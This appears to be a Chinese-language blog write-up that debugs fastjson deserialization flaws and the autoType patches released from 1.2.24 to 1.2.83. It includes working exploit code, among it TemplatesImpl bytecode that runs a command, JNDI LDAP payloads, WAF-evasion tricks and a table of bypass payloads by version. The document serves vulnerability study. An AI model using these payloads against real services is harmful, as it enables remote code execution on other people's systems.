Fastjson反序列化
fastjson<=1.2.24 反序列化漏洞(CVE-2017-18349)
之前虽然也学了fastjson历史漏洞, 也跟着其他师傅的文章调试了一遍, 但大多囫囵吞枣, 也忘得差不多了, 最近又遇到很多fastjson的题目, 打算不看文章, 自己重新过一遍fastjson反序列化的流程, 文中解释与用词可能不太准确, 师傅们轻喷
TemplatesImpl
先看exp
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
import java.util.Base64;
public class FastjsonWithTemplatesImpl {
public static class test {
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randonClassName = "n4c1" + System.nanoTime();
cc.setName(randonClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
try {
byte[] evilCode = cc.toBytecode();
String evilCodeBase64 = Base64.getEncoder().encodeToString(evilCode);
final String EVIL_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{" +
"\"@type\":\"" + EVIL_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"'_outputProperties':{ }" +
"}\n";
System.out.println(payload);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField); // 允许反序列化非公有属性
} catch (Exception e) {
e.printStackTrace();
}
}
}
调试分析
通过调试源码, 可用大致梳理出json字符串解析流程
首先我们可以看见几个非常重要的类, 他们分别扮演了以下角色:
- json解析器(
json paser) ,对应com.alibaba.fastjson.parser.DefaultJSONParser, - 词法分析器(
lexer), 主要作用是对各个token进行解析(即字符层面的识别), 通俗的说就是在一长串json字符串中定位出键与值. - 反序列化器(
deserilizer), 主要作用是反序列化出各个类, 不同的类对应不同的反序列化器, 由json解析器通过ParserConfig来获取. 对于一个JavaBean, 对应的反序列化器是com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer
json解析器 (DefaultJSONParser)包装了词法分析器(lexer), 而反序列化器与json解析器在解析json字符串时互相依赖 (准确地说, json解析器负责解析出反序列化需要的数据, 反序列化器负责使用这些数据来还原出这个对象, 由于json是一个可以嵌套的结构, 因此这一过程往往是交错进行的)
可以去看一下DefaultJSONParser的属性如下图

反序列化器则定义在ParserConfig中

在本例中, 由于我们传入的基础类是Object.class, 当我们从Object.class开始, json解析器(DefaultJSONParser)拿到Object.class的反序列化器, 开始反序列化. 在此基础上, 开始解析json字符串, 这个工作由DefaultJSONParser发起. 由其包装的词法分析器(lexer)逐字读取并分析, 当词法分析器读到@type时, 发现需要反序列化出来一个类, 获取该类名称为 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, 此时DefaultJSONParser获取该类的反序列化器(即JavaBeanDeserializer), 由此反序列化器进行反序列化. 初始化该反序列化器时会读取JavaBean的各种信息并保存起来, 包括setter, Field, getter, 很多师傅所说的对getter和setter方法的要求也就是在这一过程产生的.
拿到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的反序列化器后, 之后的过程交由JavaBeanDeserializer进行, 开始反序列化, 首先是使用默认的构造器创建一个TemplatesImpl的实例, 之后为其逐一添加属性, 此时词法分析器会扫描json字符串中TemplatesImpl类的字段(Field), 并进行添加, 此过程中JavaBeanDeserializer会获取并使用字段反序列化器(FieldDeserializer)来对字段的信息进行识别和反序列化(因为字段也可能是任何类型的对象), FieldDeserializer会尝试调用getter和setter为对应的属性赋值, 本例中恶意字节码加载从此处开始触发, 当读到_outputProperties这个字段时,(这里json中的字符串虽然是_outputProperties, 但是会自动将其识别为outputProperties, 这个过程由smartMatch方法完成), 调用它的getter, 触发恶意类加载.
具体的getter和setter调用过程由FieldDeserializer的setValue方法执行, 当该字段有settter时直接调用setter而不调用getter, 无settter时调用getter尝试获取已经生成的对象中对应字段的引用, 并为其赋值
以上是我对反序列化过程的大致过程的理解, 这些解释是在调试的过程中得出的, 那么就从头来跟一下调试过程吧!
不必多说, 我们遇到的第一个关键步骤就是这里:

来到这一步时, 程序已经完成了: 通过输入的json字符串, 获取对应的json解析器(其中包含lexer), 通过初始类型(Object.class), 获取其反序列化器, 开始反序列化, this指针将当前的json解析器也传给了反序列化器, 因为反序列化的过程是需要解析json的
跟进

由于此时我们传入的是Object.class这样一个很宽泛的对象, fastjson首先判断其是否为一个泛型数组, 这是因为如果要反序列化出数组, 那么就可以直接可以将键值对插入到一个Array中, 而若只单单是一个Object.class, 其中不存在任何属性, 无法将得到的属性放进去, 需要后续使用fastjson自己实现的JSONObjcet这个类(一个map)来暂存. Serializable.class也是类似, 并不能实例化后向其中添加属性
继续跟进, 会走到这里

正如上面的解释, 此时实例了一个JSONObject
来到这一步时, 程序已经完成了: lexer识别到第一个字符{, 实例出JSONObject, 准备解析出json字符串中的数据往里面添加
继续跟进, 来到这一步

在这里,前面的过程大致就是判断了json格式的正确性, 以及使lexer的指针跳过多余但允许出现的符号(逗号, 注释)
来到这一步时, 程序已经完成了: 扫描出第一个key为@type
继续往下看, lexer会扫描出类的名称, 之后json解析器加载这个类, 通过这个类获取对应的反序列化器, 进行反序列化
注意获取的反序列化

来到这一步时, 程序已经完成了: 拿到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的反序列化器, 这一过程中, 也已经拿到了字段反序列化器,其中包含了getter, setter 如上图. 师傅们可以自行调试查看过程, 为了不打断连贯性, 这个过程有空放在后面补充
继续跟进到这里

这个方法的前面是对上下文信息和json格式的判断, 主要看这里的for循环, 先是对已经拿到的FieldDeserilizer进行遍历, 判断其操作的是否为一些基础类型, 当匹配到时, 标记matchField = true;跳过json字符串的扫描, 直接进入后面对属性赋值的过程, 从而使用特定的反序列化方式进而提升效率
这里我们的恶意类有以下三个字段反序列化器, 都不是特殊类型

这个过程结束后, 就是逐个字段扫描并赋值, 当走到 key为_outputProperties时,

拿到键名, 进行一些特殊键名的判断, 开始解析

拿到_outputProperties字段的反序列化器, 开始反序列化字段


跟进
通过FieldValue反序列化器拿到值后, setValue赋值

跟进
触发getter

如开篇总结所说_outputProperties是一个readonly属性(只有getter), fastjson会尝试调用它的getter获得内部map的引用来为其赋值
JdbcRowSetImpl
package org.example;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class JdbcRowSetImplPoc {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ubjazx\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
调试流程与上面一样, 只不过这里使用的是jndi
使用JNDI-Injection-Exploit起一个ldap服务即可
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 127.0.0.1
绕过waf
在默认的DefaultJSONParser中有以下行为可能可以用来绕过waf
默认开启允许任意数量逗号


skipWhitespace()函数会调用skipComment(); 可以添加注释

添加注释

fastjson 1.2.25 反序列化漏洞 对抗checkAutoType的开始
利用缓存绕过黑名单
在此版本中, 上面的exp已经用不了了, 有以下报错
com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze(JavaObjectDeserializer.java:45)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:339)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:302)
at FastjsonWithTemplatesImpl.main(FastjsonWithTemplatesImpl.java:41)
autoType禁用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类, 也就是@type不允许此类, 我们在报错位置打断点, 看看是哪里出问题了
可以看见断点在了下面这个位置

这是在ParseConfig中的checkAutoType方法, 上面提到过ParseConfig有一个很重要的作用是用来存放反序列化器, 这里很明显更新后的版本又增加了对需要加载的类的类名的限制, 设置了一个黑名单, 以黑名单中起始的包名都将直接报错
具体黑名单如下
0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"
我们往回调, 看看是从哪里调用到了checkAutoType

如上图, 在json解析器parseObject中进行了调用, 在上个版本中, lexer扫描出类名后会直接loadClass, 这个版本则是用ParseConfig.checkAutoType这个方法来加载类, 这个方法会对需要加载的类进行黑名单判断
这个黑名单涵盖的类算是非常多了, 直接找到一个可用的类比较困难, 我们先来看看checkAutoType是如何工作的
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
如果开启了autoType (autoTypeSupport == true), fastjson会先校验白名单, 需要加载的类若在白名单中, 直接加载, 若不在则校验黑名单. 如果即不在白名单中也不在黑名单中, 则进入以下逻辑

先从一个mapping中获取, 如何为空, 则从deserializers中获取, 如果也为空, 则进入到后面对于没开启autoType的判断逻辑, 我们暂且不看后面, 这里的mapping和deserializers显然是两个map, 是否可用向其中put进恶意的类呢?
先来看TypeUtils.getClassFromMapping的逻辑, 确实是从一个map中get而来
private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1);

全局查找mappings.put, 有以下几个地方是可能可控的

后面三个都存在于TypeUtils.loadClass方法中, 代码如下
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
// skip
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable e) {
// skip
}
return clazz;
}
不难发现mappings实际上是对已经加载过的类的缓存. 也就是说, 被加载过的类都会存放在这里, 下次又需要加载的时候, 直接取出来用, 提高效率.
如何把我们的恶意类插入到mappings中呢?
我们返回到之前的调试过程思考: 当json的键为@type时, 它所对应的值(类名)会经过checkAutoType的审查, 但如果此时的恶意类作为一个其他类的Field(同样会被反序列化),或者说它的键名不是@type, 是否会经过checkAutoType呢?
全局搜索TypeUtils.loadClass, 看看除了checkAutoType还有哪里调用

如上图, 可控的只有四个, 而下面三个都是在checkAutoType中的, 无法利用, 我们聚焦于MiscCodec这个类中, 看一下这个类的定义

很明显这是一个反序列化器的实现类, 这个反序列化器实现了对一些杂项类的反序列化, 其中包括Class.class:

对于一个Class.class, 该反序列化器直接调用TypeUtils.loadClass加载strVal, 那我们看一下strVal是什么
往上翻可以找到这个变量的来历

实际上就是解析json中下一条键为"val"的值, 解析到的值String时, 直接赋值给strVal,
也就是说如果我们构造一个json字符串:
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
虽然checkAutoType禁用了com.sun., 但此时并不经过checkAutoType, com.sun.rowset.JdbcRowSetImpl会被TypeUtils.loadClass直接被加载一次, 然后把这个class缓存到mappings, 下次需要加载时就不经过checkAutoType直接从mappings中get了
于是就有了以下payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/ubjazx",
"autoCommit":true
}
}
当然, 也可以
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b":{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAgTEZhc3Rqc29uV2l0aFRlbXBsYXRlc0ltcGwkdGVzdDsBAApTb3VyY2VGaWxlAQAeRmFzdGpzb25XaXRoVGVtcGxhdGVzSW1wbC5qYXZhDAAEAAUHABMBAB5GYXN0anNvbldpdGhUZW1wbGF0ZXNJbXBsJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAZRmFzdGpzb25XaXRoVGVtcGxhdGVzSW1wbAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAE240YzE0NTY4MDc2MjAwNjUxMDABABVMbjRjMTQ1NjgwNzYyMDA2NTEwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAARAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="], "_name":"a.b",
"_tfactory":{
},
"_outputProperties": {
}
}
}
这个方法通杀1.2.25-1.2.47版本, 在AutoType默认不开启时可用
AutoType开启时的绕过 利用字符前缀
当AutoType开启时(AutoTypeSupport == true), 还有另一种绕过手法, 我们回去看checkAutoType的逻辑, 当开启AutoTypeSupport或设置了期望类型时, 会走到这一步, 直接调用了loadClass

但在这之前是过了一次黑名单的, 为了绕过黑名单, 在loadClass中有以下操作:

当类名以L开头;结尾时, 去掉这两个字符然后loadClass, 注意此时是递归调用的, 因此可用有很多层L开头;结尾去包裹恶意类, 都是可用正常解析的, 同理[开头也有此操作
因此当开启了AutoType时, 有以下payload
{"@type":"LLLLcom.sun.rowset.JdbcRowSetImpl;;;;", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
而对于[如果直接使用[com.sun.rowset.JdbcRowSetImpl会报错:
{"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:669)
at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:177)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at FastjsonWithJdbcRowSetImpl.withAutoTypeSupportAttackVersion_1_2_25(FastjsonWithJdbcRowSetImpl.java:41)
at FastjsonWithJdbcRowSetImpl.main(FastjsonWithJdbcRowSetImpl.java:10)
打断点看看哪里出错了

在扫描完类名后需要一个[, 而当前的token是16(可用点进去看, 16代表逗号,), 那我们在逗号前加[即可
之后又会报错

那再加一个{来规避这个报错
最后payload就是这样
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
当然也可以尝试之前的TemplatesImpl
经过尝试: 对于使用L ;绕过, 1.2.43版本中被修复了, 但这个版本依然可以使用{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}这个payload, 直到1.2.44被修复
梳理出payload适用版本:
fastjson < 1.2.43
{"@type":"LLLLcom.sun.rowset.JdbcRowSetImpl;;;;", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
fastjson < 1.2.44
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
1.2.25 <= fastjson < 1.2.48
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/ubjazx",
"autoCommit":true
}
}
我们来看一下这三个版本是怎么修复的
fastjson 1.2.42的修复
其实在1.2.42版本中对于L ;绕过已经修复过一次了
版本改到1.2.42, 使用Lcom.sun.rowset.JdbcRowSetImpl;这个类名去打
直接去看TypeUtils.loadClass

可以看见先对className的第一个字母和最后一个字母做了一次哈希, 如果值为0x9198507b5af98f0L则切割掉这两个字符, 很明显就是不允许类名前面为L后面为;
这个版本切割得到的类名也不再是在明文的黑名单中去比较, 而是改成了哈希值列表denyHashCodes
0 = -8720046426850100497
1 = -8109300701639721088
2 = -7966123100503199569
3 = -7766605818834748097
4 = -6835437086156813536
5 = -4837536971810737970
6 = -4082057040235125754
7 = -2364987994247679115
8 = -1872417015366588117
10 = -190281065685395680
9 = -254670111376247151
11 = 33238344207745342
12 = 313864100207897507
13 = 1203232727967308606
14 = 1502845958873959152
15 = 3547627781654598988
16 = 3730752432285826863
17 = 3794316665763266033
18 = 4147696707147271408
19 = 5347909877633654828
20 = 5450448828334921485
21 = 5751393439502795295
22 = 5944107969236155580
23 = 6742705432718011780
24 = 7179336928365889465
25 = 7442624256860549330
26 = 8838294710098435315
把我们的Lcom.sun.rowset.JdbcRowSetImpl;净化为com.sun.rowset.JdbcRowSetImpl再hash后去在中查找, 很明显denyHashCodes中是有这个类对应的hash值的, 但是这样的过滤无济于事, 前面说过, loadClass在处理L ;时是递归的, 这里双写或者多加几层就绕过去了
{"@type":"LLLLcom.sun.rowset.JdbcRowSetImpl;;;;", "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
还有这个denyHashCodes列表, 在网上也有大牛进行了爆破, 参考
fastjson 1.2.43的修复
这个版本对前面的双写又进行了修复
版本改到1.2.43, 直接去看TypeUtils.loadClass

在checkAutoType又中添加了一层判断, 在出现L开头, ;结尾的情况下, 出现LL开头就抛出错误, 这样就不能多层L ;绕过了. 但是别忘了, 我们还可以嵌套一层[来绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
或者
{"@type":"[Lcom.sun.rowset.JdbcRowSetImpl;"[{, "dataSourceName":"ldap://127.0.0.1:1389/knwwcb", "autoCommit":true}
fastjson 1.2.44的修复
同样地, 拿上个版本的payload去打, 看看怎么回事

很明显这里不让[开头了, 第907行也不让;结尾了, 这条路算是堵死了, 当然了, 这个版本我们依然可以使用上面的缓存机制绕过
fastjson 1.2.48的修复
在这个版本我们依旧尝试之前的缓存绕过来打, 看看报什么错, 由于可控的mappings.put是在TypeUtils.loadClass中的, 我们把断点打在loadClass中,

如上图. 可以看见这里加了一个参数cache默认为false, 不进行缓存, 往回调看前一个调用栈

cache的值是写死在MiscCodec类中的, 导致不缓存加载过的危险类
fastjson 1.2.68 期望类利用(AutoCloseable)
在1.2.48中已经修复了缓存机制的绕过, 而在1.2.68中又爆出了新的利用方式, 利用expectClass
实现了java.lang.AutoCloseable接口的类可以被反序列化
为什么java.lang.AutoCloseable的实现类会被利用?
一些文件操作的类是实现了java.lang.AutoCloseable接口的, 在浅蓝师傅的文章中提到可以去挖掘文件操作的类作为新的gadget:
fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路
本篇只讨论fastjosn本身的绕过, 不研究gadget(懒..
这里用下面的demo来测试
public static String AttackVersion_1_2_68(String cmd) {
String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"EvilClass.VulAutoCloseable\",\"cmd\":\"" + cmd + "\"}";
System.out.println(poc);
return poc;
}
package EvilClass;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
java.lang.AutoCloseable存在于默认的mapings中, 所以能够通过checkAutoType的检查,
json解析器通过java.lang.AutoCloseable获取对应的反序列化器为一个JavaBeanDeserializer(config.getDeserializer的逻辑是经过一系列判断后还未找到与其对应的反序列化器时, 就构造一个JavaBeanDeserializer, 即使这个类并不是一个JavaBean), JavaBeanDeserializer解析到后面的@type, 拿到对应的类名EvilClass.VulAutoCloseable , 又会尝试去获取EvilClass.VulAutoCloseable的反序列化器, 在此之前会对此类名进行checkAutoType检查, 此时会将java.lang.AutoCloseable作为期望类传入, 但这个版本AutoType会校验EvilClass.VulAutoCloseable和期望类, 具体如下:
期望类不能是下面几种:
(可以看见这里是没有禁用java.lang.AutoCloseable)
Object.class
Serializable.class
Cloneable.class
Closeable.class
EventListener.class
Iterable.class
Collection.class
EvilClass.VulAutoCloseable不能实现以下接口(或类继承)
java.lang.ClassLoader.class // classloader is danger
javax.sql.DataSource.class // dataSource can load jdbc driver
javax.sql.RowSet.class
由于很多jndi的利用类都是实现了javax.sql.DataSource.class和javax.sql.RowSet.class, 这里的限制就导致了很难再进行jndi注入了
我们还是跟踪代码过一遍调试
前面的不必多说, 从DefaultJSONParser解析出java.lang.AutoCloseable开始

对java.lang.AutoCloseable进行checkAutoType检查, 跟进
java.lang.AutoCloseable是存在于默认的mappings中的(也就是我们再之前利用缓存绕过的那个mappings)

从mappings中拿到class, 在1374行返回
回到DefaultJSONParser, 往下走, 拿到其反序列化器, 是一个JavaBeanDeserializer, 跟进反序列化

再跟进, 后面json字符串扫描过程和之前一样的, 依旧是扫描到@type的值后再checkAutoType, 再尝试获取反序列化器

注意此时对EvilClass.VulAutoCloseable进行checkAutoType时传入了期望类AutoCloseable 跟进
这里有期望类的黑名单

在这里, 我们的自定义的类被加载

再往下, 对被check的类做了一些检查, 不能继承黑名单中的接口或类, 且需要继承期望类

通过检查后, 返回到json解析器, 之后就是拿到反序列化器进行反序列化的过程了, 最终就是和之前一样, 调用构造器实例化这个类, 然后调用它的getter和setter为其添加属性
此利用方式在1.2.69被修复, 修复方式就是黑名单, 并且这次对期望类的黑名单也改为了哈希

fastjson 1.2.80 期望类利用(异常类Throwable)
1.2.68的修复方式简单粗暴,将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable。
触发过程和之前的一样AutoCloseable一样, 困难点就是在于寻找对应的gadget了
fastjson 1.2.80 期望类利用(Exception)
依旧困难点是在于寻找对应的gadget了, 最近的京麒2025在最新版本1.2.83也是利用的这个期望类
参考链接
y4er.com# fastjson 1.2.80 漏洞分析
b1ue.cn# fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路
https://mp.weixin.qq.com/s/l1J4cGfqI_SssGKML7-z3w

浙公网安备 33010602011771号